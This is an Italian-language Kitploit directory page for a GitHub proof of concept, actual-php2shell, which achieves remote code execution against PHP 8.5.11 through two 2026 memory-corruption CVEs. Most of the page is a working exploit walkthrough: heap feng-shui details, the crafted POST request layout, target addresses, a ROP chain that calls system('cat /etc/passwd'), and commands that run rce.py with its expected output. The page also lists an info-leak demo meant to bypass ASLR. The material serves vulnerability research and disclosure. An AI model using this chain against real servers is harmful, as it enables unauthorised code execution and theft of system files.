Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
actual-php2shell — 🤖 No, c'è un modo semplice per sfruttare questa vulnerabilità! (vibecoded per dimostrare un punto) | Kitploit
Strumenti/GitHubGitHub/cookiengineer/actual-php2shell
Sicurezza dei ContenitoriMemory ForensicsAnalisi delle VulnerabilitàExploitReverse EngineeringShellcodePaper e RicercaBinary Exploitation
GitHubcookiengineer/actual-php2shell

actual-php2shell

🤖 No, c'è un modo semplice per sfruttare questa vulnerabilità! (vibecoded per dimostrare un punto)

Vedi Repository
17615h 36m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

actual-php2shell

Un PoC riproducibile e indipendente dall'applicazione per l'esecuzione di codice in remoto contro PHP 8.5.11 (gli avvisi di ottobre 2026). Trasforma i due avvisi del 2026 sulla corruzione della memoria di PHP in system("cat /etc/passwd") senza alcun codice applicativo — l'index.php della vittima si limita a restituire ok.

  • CVE-2026-109618 — l'OOM longjmp abbandona una HashTable costruita a metà, lasciando un bucket pendente che lo shutdown distrugge. Questa è la primitiva RCE.
  • CVE-2026-109619 — lo stato di errore di proprietà della richiesta (il backtrace dell'errore fatale) sopravvive allo shutdown della richiesta e viene liberato nuovamente dalla richiesta successiva. Questa è la primitiva di info-leak / bypass ASLR (una demo separata qui).

Tutto è completamente riproducibile in container Podman. Il risultato end-to-end confermato è ./exploits/cve-2026-109618-oom/rce.py che legge /etc/passwd.


1. La vulnerabilità (CVE-2026-109618)

Quando PHP esaurisce la memoria chiama zend_mm_safe_error() → zend_error_noreturn() → zend_bailout() (longjmp). In 8.5.11 l'inserimento nella hash-table non è soggetto a fallimento di allocazione, quindi un OOM può fare unwind con una HashTable modificata a metà.

Il sito di corruzione è add_to_hash di _zend_hash_str_add_or_update_i() (Zend/zend_hash.c:960):

add_to_hash:
    idx = ht->nNumUsed++;                       /* (1) bumped first      */
    ht->nNumOfElements++;                       /* (2) bumped            */
    p = ht->arData + idx;
    p->key = key = zend_string_init(str, len);  /* (3) OOM -> zend_bailout */

Se la copia della chiave zend_string_init va in OOM, il bucket p rimane non scritto (key/h/val tutti obsoleti) ma nNumUsed è già stato incrementato. Allo shutdown della richiesta zend_array_destroy() scorre i bucket nNumUsed e chiama i_zval_ptr_dtor(&p->val) sul val spazzatura del bucket non scritto — un valore modellato dall'attaccante. La correzione della 8.5.12 sostituisce ogni tale allocazione con varianti fallibili (femalloc/fperealloc2 + HASH_FALLIBLE) così l'inserimento ritorna in modo pulito invece di interrompersi.

2. L'equilibrio object-graph / heap-feng-shui

L'exploit consiste interamente nel far sì che un blocco controllato di 2560 byte diventi l'arData della HashTable il cui ultimo bucket è il bucket OOM. I valori che dovevano essere bilanciati, e il perché:

Tipo / variabileDimensioneRuolo
header di zend_array (HashTable)56 BarData, nNumUsed, nTableSize, pDestructor
Bucket32 Bval(16) + h(8) + key(8); quello non scritto è il nostro obiettivo
zval16 Bvalue(8) + u1.type_info(4) + u2(4) — impostiamo type_info
zend_stringheader di 24 B + datiil valore di padding; la sua lunghezza determina il bin dell'allocatore
zend_object56 Boggetto falso: gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlersoffset/free_obj/dtor_objfree_obj è il gadget pivot
zend_mm_heap / zend_mm_chunk—free_slot[], free_tail, map[] (bin 28 = 2560 B)

I due fatti sull'allocatore su cui si basa l'intero feng-shui:

  1. L'arData di una tabella da 64 bucket è esattamente 2560 byte = bin 28 (HT_SIZE_EX(64) = 64*32 bucket + 128*4 hash = 2560), perché HT_SIZE_TO_MASK(n) = -(2n).
  2. b150 (percorso) e b0e0 (scartato) sono due copie di $_POST["a"] create dal percorso SEPARATE_ARRAY/indiretto della symtable; ogni campo a[<large>][c]=v inserisce la chiave <large> in entrambe, e b0e0 è sempre avanti di 1 chiave. Solo b150 viene distrutto da php_request_shutdown, quindi l'OOM deve verificarsi su b150.

3. La catena completa (vedi rce.py)

Il corpo della richiesta è un POST urlencoded:

memshift=<40 KB of M>&
a[X…0000000000000000][c]=v&  … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v&  … (fields 30..59)
  1. memshift (~40 KB) consuma appena la memoria necessaria affinché l'OOM scatti al primo inserimento del campo OOM, cioè in b150 (la tabella percorsa), non nella b0e0 scartata.
  2. pad=<2528 B>: add_post_var esegue estrndup(A) poi ZVAL_STRINGL_FAST(B, copy). Misurato B = padlen + 32, quindi padlen=2528 dà A = 2529 e B = 2560 — entrambi bin 28. A viene liberato dal percorso estrndup.
  3. pad=x (chiave duplicata) esegue il DTOR della copia mantenuta B, liberando un secondo, distinto slot bin-28. Ora il resize 32→64 di b150 riutilizza B — i nostri byte controllati diventano l'arData di b150.
  4. I byte di pad collocano il payload nella coda controllata dell'arData (bucket 46–63, offset grezzo ≥ 1984) — non all'offset 0x100, che è l'array hash riscritto da zend_hash_rehash.
  5. Il bucket non scritto (offset grezzo 1952 = offset pad 1928) viene impostato a IS_OBJECT con value.obj = &fake_object.
  6. Lo shutdown lo percorre: i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt"); una successiva GET /leak.txt restituisce il file.

Due requisiti sottili che sono costati tempo reale di debug (entrambi in rce.py):

  • L'oggetto fake/ROP deve trovarsi nella coda dell'arData; l'offset pad 0x100 è l'array hash e viene sovrascritto.
  • __libc_system usa movaps (allineato a 16 byte), quindi viene inserito un gadget ret extra tra pop rdi; ret e system — altrimenti si verifica un SIGSEGV dentro __libc_system prima di execve.

4. Indirizzi presi di mira (ASLR off, setarch -R)

Misurati su php-rce-oom-debug:8.5.11 (base php-rce-base:8.5.11). Le basi di libphp/libc sono le stesse in tutta la build base; l'offset dell'heap B cambia con le librerie installate (l'installazione di gdb l'ha spostato), quindi rimisura B per un'immagine diversa, oppure risolvilo tramite l'info-leak per ASLR-on.

SimboloIndirizzo
base libphp0x7ffff4400000
base libc0x7ffff7cd4000
system0x7ffff7d20490 (libc+0x4c490)
pop rdi; ret0x7ffff7cfb7e5 (libc+0x277e5)
ret0x7ffff7cfb7e6
pivot (jump_fcontext+0x2e)0x7ffff49fb8ae
main chunk ([anon:zend_alloc])0x7ffff7200000
B (blocco grezzo arData = b150->arData - 512)0x7ffff725e400
fake handlersB + 24 + 2000 = 0x7ffff725ebe8
fake objectB + 24 + 2048 = 0x7ffff725ec18
stringa cmdB + 24 + 2200 = 0x7ffff725ecb0

La catena ROP (relativa all'oggetto fake, o):

o+0x40  pop rdi; ret     (r8 loaded by the pivot)
o+0x48  &cmd             (rdi)
o+0x50  ret              (stack alignment for movaps)
o+0x58  system

5. Riproduzione

Richiede Podman. Dalla radice del repository:

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

Atteso output:

[+] RCE: read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

Altre demo

# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf

# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak

# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh
Scarica lo strumento